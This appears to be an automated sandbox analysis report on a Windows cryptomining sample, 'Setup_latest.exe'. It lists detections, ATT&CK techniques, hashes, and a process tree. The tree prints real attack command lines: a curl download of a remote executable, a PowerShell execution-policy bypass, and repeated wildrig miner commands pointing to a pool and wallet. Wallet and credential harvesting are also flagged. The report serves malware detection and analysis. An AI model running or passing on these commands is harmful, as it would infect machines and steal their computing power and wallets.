xmrig | 43db1c8b806fcecdd4b752e8d093ff9c16c7ed7ee6333ff76807f2fe6c4c3ed4

Analysis

max time kernel
300s
max time network
298s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
31/10/2026, 23:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Setup_latest.exe
Size 16.8MB
Sample261031-216jysaf63
SHA256 43db1c8b806fcecdd4b752e8d093ff9c16c7ed7ee6333ff76807f2fe6c4c3ed4
MD5 9848d4ff3bc7bc943a3917bdf1fe2064
SHA1 5c603f43bc2efe5f4a73641a35a4887bbb6d6513
SHA512 9a29cdd6e0f6fa9dd4781150e452bd5fb0f8a4093e1e307e440deadf21ed7e21b8be91f99adb599f56bba570fb48caa5b082d8ab8294bff3e355894c6104e8ce
SSDEEP 393216:g/mf21cRxn2YD/c/ZUCFsafj2wWpraBUfmM2CZsg1N9Y34Ji:e421An2YLc/5FSvNayeM2CZssRJi
TLSH
T1E90733C87B0A6DFDED9D9D79C0865000C0622EAA57C861768F8D3B258B336CA79F5F50
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig miner persistence privilege_escalation spyware

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 20 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82
PID 3024 created 5408	3024	appservice9411_2e8c.exe	82

XMRig Miner payload 3 IoCs

miner

resource	yara_rule
behavioral4/memory/3024-61-0x00007FF726110000-0x00007FF72938D000-memory.dmp	xmrig
behavioral4/memory/3024-102-0x00007FF726110000-0x00007FF72938D000-memory.dmp	xmrig
behavioral4/memory/3024-124-0x00007FF726110000-0x00007FF72938D000-memory.dmp	xmrig

Downloads MZ/PE file 1 IoCs

flow	pid	Process
7	4620	curl.exe

Executes dropped EXE 23 IoCs

pid	Process
5052	0e5921c70.exe
1128	0e5921c70.exe
3024	appservice9411_2e8c.exe
1068	wildrig.exe
3264	wildrig.exe
2420	wildrig.exe
4532	wildrig.exe
1364	wildrig.exe
2608	wildrig.exe
2352	wildrig.exe
432	wildrig.exe
5004	wildrig.exe
5292	wildrig.exe
2384	wildrig.exe
2552	wildrig.exe
472	wildrig.exe
5864	wildrig.exe
596	wildrig.exe
1208	wildrig.exe
1852	wildrig.exe
2528	wildrig.exe
2420	wildrig.exe
4368	wildrig.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
14	raw.githubusercontent.com
18	raw.githubusercontent.com
19	raw.githubusercontent.com
20	raw.githubusercontent.com

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Microsoft SQL Server\friuftoord.txt	Setup_latest.exe
File opened for modification	C:\Program Files\LGHUB\uostsaiotz.inf	explorer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
700	powershell.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	appservice9411_2e8c.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	appservice9411_2e8c.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	appservice9411_2e8c.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	appservice9411_2e8c.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\NotificationData	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\NotificationData\0D83063EA3B8FCF5 = 0100000000000002	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
700	powershell.exe
700	powershell.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
1068	wildrig.exe
1068	wildrig.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3264	wildrig.exe
3264	wildrig.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
2420	wildrig.exe
2420	wildrig.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe
3024	appservice9411_2e8c.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5408	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	700	powershell.exe
Token: SeIncreaseQuotaPrivilege	700	powershell.exe
Token: SeSecurityPrivilege	700	powershell.exe
Token: SeTakeOwnershipPrivilege	700	powershell.exe
Token: SeLoadDriverPrivilege	700	powershell.exe
Token: SeSystemProfilePrivilege	700	powershell.exe
Token: SeSystemtimePrivilege	700	powershell.exe
Token: SeProfSingleProcessPrivilege	700	powershell.exe
Token: SeIncBasePriorityPrivilege	700	powershell.exe
Token: SeCreatePagefilePrivilege	700	powershell.exe
Token: SeBackupPrivilege	700	powershell.exe
Token: SeRestorePrivilege	700	powershell.exe
Token: SeShutdownPrivilege	700	powershell.exe
Token: SeDebugPrivilege	700	powershell.exe
Token: SeSystemEnvironmentPrivilege	700	powershell.exe
Token: SeRemoteShutdownPrivilege	700	powershell.exe
Token: SeUndockPrivilege	700	powershell.exe
Token: SeManageVolumePrivilege	700	powershell.exe
Token: 33	700	powershell.exe
Token: 34	700	powershell.exe
Token: 35	700	powershell.exe
Token: 36	700	powershell.exe
Token: SeShutdownPrivilege	5408	explorer.exe
Token: SeCreatePagefilePrivilege	5408	explorer.exe
Token: SeShutdownPrivilege	5408	explorer.exe
Token: SeCreatePagefilePrivilege	5408	explorer.exe
Token: SeIncreaseQuotaPrivilege	700	powershell.exe
Token: SeSecurityPrivilege	700	powershell.exe
Token: SeTakeOwnershipPrivilege	700	powershell.exe
Token: SeLoadDriverPrivilege	700	powershell.exe
Token: SeSystemProfilePrivilege	700	powershell.exe
Token: SeSystemtimePrivilege	700	powershell.exe
Token: SeProfSingleProcessPrivilege	700	powershell.exe
Token: SeIncBasePriorityPrivilege	700	powershell.exe
Token: SeCreatePagefilePrivilege	700	powershell.exe
Token: SeBackupPrivilege	700	powershell.exe
Token: SeRestorePrivilege	700	powershell.exe
Token: SeShutdownPrivilege	700	powershell.exe
Token: SeDebugPrivilege	700	powershell.exe
Token: SeSystemEnvironmentPrivilege	700	powershell.exe
Token: SeRemoteShutdownPrivilege	700	powershell.exe
Token: SeUndockPrivilege	700	powershell.exe
Token: SeManageVolumePrivilege	700	powershell.exe
Token: 33	700	powershell.exe
Token: 34	700	powershell.exe
Token: 35	700	powershell.exe
Token: 36	700	powershell.exe
Token: SeShutdownPrivilege	5408	explorer.exe
Token: SeCreatePagefilePrivilege	5408	explorer.exe
Token: SeShutdownPrivilege	5408	explorer.exe
Token: SeCreatePagefilePrivilege	5408	explorer.exe
Token: SeShutdownPrivilege	5408	explorer.exe
Token: SeCreatePagefilePrivilege	5408	explorer.exe
Token: SeShutdownPrivilege	5408	explorer.exe
Token: SeCreatePagefilePrivilege	5408	explorer.exe
Token: SeShutdownPrivilege	5408	explorer.exe
Token: SeCreatePagefilePrivilege	5408	explorer.exe
Token: SeShutdownPrivilege	5408	explorer.exe
Token: SeCreatePagefilePrivilege	5408	explorer.exe
Token: SeShutdownPrivilege	5408	explorer.exe
Token: SeCreatePagefilePrivilege	5408	explorer.exe
Token: SeShutdownPrivilege	5408	explorer.exe
Token: SeCreatePagefilePrivilege	5408	explorer.exe
Token: SeShutdownPrivilege	5408	explorer.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2260	Setup_latest.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 2260 wrote to memory of 5408	2260	Setup_latest.exe	82
PID 2260 wrote to memory of 5408	2260	Setup_latest.exe	82
PID 2260 wrote to memory of 5408	2260	Setup_latest.exe	82
PID 2260 wrote to memory of 5408	2260	Setup_latest.exe	82
PID 2260 wrote to memory of 5408	2260	Setup_latest.exe	82
PID 2260 wrote to memory of 5408	2260	Setup_latest.exe	82
PID 5408 wrote to memory of 4620	5408	explorer.exe	89
PID 5408 wrote to memory of 5052	5408	explorer.exe	91
PID 5052 wrote to memory of 700	5052	0e5921c70.exe	92
PID 5408 wrote to memory of 3164	5408	explorer.exe
PID 5052 wrote to memory of 3024	5052	0e5921c70.exe	97
PID 3024 wrote to memory of 1068	3024	appservice9411_2e8c.exe	99
PID 3024 wrote to memory of 3264	3024	appservice9411_2e8c.exe	101
PID 3024 wrote to memory of 2420	3024	appservice9411_2e8c.exe	102
PID 3024 wrote to memory of 4532	3024	appservice9411_2e8c.exe	103
PID 3024 wrote to memory of 1364	3024	appservice9411_2e8c.exe	104
PID 3024 wrote to memory of 2608	3024	appservice9411_2e8c.exe	105
PID 3024 wrote to memory of 2352	3024	appservice9411_2e8c.exe	106
PID 3024 wrote to memory of 432	3024	appservice9411_2e8c.exe	107
PID 3024 wrote to memory of 5004	3024	appservice9411_2e8c.exe	108
PID 3024 wrote to memory of 5292	3024	appservice9411_2e8c.exe	109
PID 3024 wrote to memory of 2384	3024	appservice9411_2e8c.exe	110
PID 3024 wrote to memory of 2552	3024	appservice9411_2e8c.exe	111
PID 3024 wrote to memory of 472	3024	appservice9411_2e8c.exe	112
PID 3024 wrote to memory of 5864	3024	appservice9411_2e8c.exe	113
PID 3024 wrote to memory of 596	3024	appservice9411_2e8c.exe	114
PID 3024 wrote to memory of 1208	3024	appservice9411_2e8c.exe	115
PID 3024 wrote to memory of 1852	3024	appservice9411_2e8c.exe	116
PID 3024 wrote to memory of 2528	3024	appservice9411_2e8c.exe	117
PID 3024 wrote to memory of 2420	3024	appservice9411_2e8c.exe	118
PID 3024 wrote to memory of 4368	3024	appservice9411_2e8c.exe	119

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	7	curl/8.8.0

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5408
- C:\Users\Admin\AppData\Local\Temp\Setup_latest.exe
  "C:\Users\Admin\AppData\Local\Temp\Setup_latest.exe"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2260
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -fs -o "C:\Users\Admin\AppData\Local\Temp\0e5921c70.exe" "https://cloudflare.gd/pyservice64.exe"
  2⤵
  - Downloads MZ/PE file
  PID:4620
- C:\Users\Admin\AppData\Local\Temp\0e5921c70.exe
  "C:\Users\Admin\AppData\Local\Temp\0e5921c70.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$script = [ScriptBlock]::Create(($input | Out-String)); & $script .\def.ps1 C:\\"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:700
- - C:\Users\Admin\AppData\Roaming\Microsoft\CLR_v4\Runtime\Runtime\appservice9411_2e8c.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\CLR_v4\Runtime\Runtime\appservice9411_2e8c.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3024
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:1068
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:3264
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2420
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:4532
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:1364
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:2608
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:2352
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:432
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:5004
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:5292
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:2384
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:2552
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:472
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:5864
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:596
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:1208
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:1852
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:2528
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:2420
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass 0111 --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:4368

C:\Users\Admin\AppData\Roaming\Microsoft\CLR_v4\Runtime\0e5921c70.exe
C:\Users\Admin\AppData\Roaming\Microsoft\CLR_v4\Runtime\0e5921c70.exe
1⤵
- Executes dropped EXE
PID:1128

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0e5921c70.exe

Path C:\Users\Admin\AppData\Local\Temp\0e5921c70.exe
Size 47.3MB
SHA256 ba4ee6ce0b34b33d2b9494f45ef059e7360dcf783240674ca06a61e352667908
MD5 0974330985ad4a64254435ce269d8d78
SHA1 9685778fd1e7aa09118af06f4ad8153aa3787de7
SHA512 5d1490e448e95b3ea2d66b587b17a343573f4b6f134309691ebe61848d47c9ccab23654ca858af32c7b61313f3edc533661a09008fc2742dcac6936c3b66a21c
SSDEEP 786432:OV4SSuXY5b7sKQDSffNXwUNUrhqKn1liECtH1n6LONQpvJ0rrznKep7HdIAoJ:cK5vgGXFUrhqAiECtVniOtrzn9g
TLSH
T11DB73307FCA518F6C4AAE235893795127B71BC880F3123DB1E50BAA82F727D05D7A764
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wildrig.exe

Path C:\wildrig.exe
Size 1.7MB
SHA256 f5fe5665e7303f95c9da704a8a0aafe5c14b1b3c2757378b9f374d16dfcba34e
MD5 ac0a2476fd1d7e5a64d5bae351910b33
SHA1 586c4e12c22886b5c674b42b54334d7f64a78446
SHA512 e187360ffb7b2e5dc280b80bfc5d9a8212f7bb22ead3fabb5202bfc12581a51b696c2c2ff207d7401b6e88af498f2a9347e05f87a85157477b046cde781b68ca
SSDEEP 49152:hdUj9mLCeL8s4UQBGyswFbaS0RVuBJLzjEhtjb:+kmlsyFz0jufb0jb
TLSH
T15485E09138D0826DC891C635D28A6AFDF0E9799A4DB9D82F7FC609017A31C85CCF6C76
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wildrig.exe

Path C:\wildrig.exe
Size 42.5MB
SHA256 1fae6f3af9bcbb27b352bffb0a0e8912f6b7515126bf357c302be7cf52f712d5
MD5 fd7148315c899375a23579a16b8cc93d
SHA1 fbddd3f7b99b5e45b2c9ae4c6f102c9a4d2c4a1f
SHA512 04ca3cd5e48f553081d75d3f6859d2c3154f50b440109c1125cefa1264907bef8416d0b6964f10c7fed9fc2b71855aafc21a8024da492dd34e2434508678c8c4
SSDEEP 786432:c0GIwuEUNQleuszmZ64WCTii+Zlva6wiT2eMue34Nd6InfWRcBlDOZrJV9cT:c0GkNsEiZBTQwiT2ehd6In0cPGrl
TLSH
T124A7334254F842ACC885C734D24A3EEDF5E8BC564C79A03F7FC52846AA7CE96C4E1936
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/432-135-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

Download

memory/432-136-0x00007FF7CDC10000-0x00007FF7CEC10000-memory.dmp

Download

memory/700-46-0x0000022367480000-0x00000223674A2000-memory.dmp

Download

memory/1068-62-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

Download

memory/1068-63-0x00007FF6D35E0000-0x00007FF6D45E0000-memory.dmp

Download

memory/1364-104-0x00007FF649FD0000-0x00007FF64AFD0000-memory.dmp

Download

memory/1364-103-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

Download

memory/2352-125-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

Download

memory/2352-126-0x00007FF7ADEE0000-0x00007FF7AEEE0000-memory.dmp

Download

memory/2384-166-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

Download

memory/2384-167-0x00007FF6BF590000-0x00007FF6C0590000-memory.dmp

Download

memory/2420-83-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

Download

memory/2420-84-0x00007FF69B970000-0x00007FF69C970000-memory.dmp

Download

memory/2552-177-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

Download

memory/2608-116-0x00007FF76F030000-0x00007FF770030000-memory.dmp

Download

memory/2608-115-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

Download

memory/3024-102-0x00007FF726110000-0x00007FF72938D000-memory.dmp

Download

memory/3024-124-0x00007FF726110000-0x00007FF72938D000-memory.dmp

Download

memory/3024-61-0x00007FF726110000-0x00007FF72938D000-memory.dmp

Download

memory/3264-73-0x00007FF7B9980000-0x00007FF7BA980000-memory.dmp

Download

memory/3264-72-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

Download

memory/4532-94-0x00007FF6E8A00000-0x00007FF6E9A00000-memory.dmp

Download

memory/4532-93-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

Download

memory/5004-146-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

Download

memory/5004-148-0x00007FF781140000-0x00007FF782140000-memory.dmp

Download

memory/5292-156-0x00007FF80C210000-0x00007FF80C212000-memory.dmp

Download

memory/5292-157-0x00007FF703220000-0x00007FF704220000-memory.dmp

Download

memory/5408-27-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-25-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-14-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-13-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-11-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-10-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-38-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-16-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-42-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-17-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-49-0x0000000003230000-0x0000000003231000-memory.dmp

Download

memory/5408-18-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-19-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-20-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-21-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-22-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-23-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-24-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-37-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-15-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-26-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-36-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-4-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-35-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-28-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-30-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-31-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-32-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-33-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-34-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-8-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-9-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-7-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-2-0x0000000003890000-0x000000000393D000-memory.dmp

Download

memory/5408-3-0x0000000003890000-0x000000000393D000-memory.dmp

Download

